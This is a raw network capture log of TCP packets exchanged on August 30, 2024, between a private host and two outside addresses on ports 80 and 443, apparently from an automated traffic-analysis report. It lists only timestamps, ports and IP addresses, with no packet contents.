Aug 30, 2024 06:17:05.170444012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170456886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170478106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170517921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.171354055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171370029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171380043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171407938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.171474934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171484947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171494007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171504021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171514034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.171528101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.171538115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.171552896 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197412014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197542906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197556973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197566032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197576046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197586060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197596073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197604895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197614908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197624922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197633982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197635889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197635889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197643995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197663069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197663069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197685003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197695017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197705984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197715998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197725058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197734118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197743893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197753906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197757959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197757959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197763920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197772026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197782040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197786093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197789907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197798967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197803974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197813988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197829008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197833061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197833061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197839022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197848082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197856903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197861910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197866917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197875977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197884083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197886944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197896957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197901964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197906017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197911024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197916031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197926044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197935104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197941065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197941065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.197943926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.197961092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198004961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198007107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198015928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198076963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198196888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198205948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198214054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198224068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198231936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198231936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198241949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198251963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198261976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198261976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198271990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198276043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198281050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198290110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198297024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198306084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198312044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198312998 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198314905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198328018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198331118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198342085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198349953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198353052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198362112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198369980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198379040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198383093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198383093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198389053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198412895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198412895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198657990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198755980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198781967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198792934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198801041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198812008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198821068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198827028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198831081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198848009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198864937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198884964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.198971033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.198981047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199003935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199014902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199037075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199052095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199060917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199070930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199079037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199095011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199107885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199214935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199363947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199373960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199382067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199392080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199402094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199412107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199420929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199426889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199426889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199430943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199433088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199467897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199467897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199491978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199501991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199532032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199532032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199681044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199691057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199700117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199708939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199718952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199727058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199733019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199767113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199767113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199831009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199841022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199848890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199860096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199868917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199876070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199876070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199879885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199888945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199898005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199903965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199903965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199907064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199914932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199923992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199925900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199935913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199961901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199966908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199966908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.199973106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.199981928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200015068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200015068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200334072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200402021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200500011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200509071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200516939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200527906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200536966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200536966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200546980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200555086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200563908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200568914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200568914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200575113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200583935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200604916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200604916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200628042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200630903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200640917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200655937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200664997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200669050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200676918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.200680971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200709105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.200709105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.243030071 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243046999 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243160963 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.243170977 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243211031 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.243280888 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243299961 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243347883 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.243354082 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243717909 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243736982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243773937 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.243779898 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243803024 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.243828058 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.243947029 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.243963003 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244008064 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.244014978 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244046926 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.244436026 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244450092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244632006 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.244637966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244653940 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244671106 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244678974 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.244683981 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.244725943 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.245023012 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.245037079 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.245094061 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.245100021 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.245140076 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.245389938 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.245412111 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.245465040 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.245471954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.245507956 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.258965969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.258977890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.258987904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259020090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259036064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259052992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259063959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259073973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259084940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259094000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259097099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259119987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259135008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259159088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259169102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259177923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259187937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259202957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259227037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259248972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259263992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259274960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259283066 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259284019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259311914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259326935 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259349108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259360075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259370089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259380102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259383917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259390116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259403944 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259428024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259429932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259468079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259500980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259510040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259519100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259527922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259536982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259540081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259547949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259573936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259576082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259583950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259592056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259619951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259625912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259627104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259635925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259640932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259675026 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259704113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259713888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259722948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259732962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259742022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259746075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259752989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.259764910 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259771109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.259795904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.260931015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.260977030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261035919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261044025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261049986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261059046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261070013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261076927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261080980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261101961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261115074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261125088 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261148930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261223078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261231899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261241913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261251926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261255980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261261940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261266947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261271000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261280060 CEST	80	49735	147.45.44.104	192.168.2.4
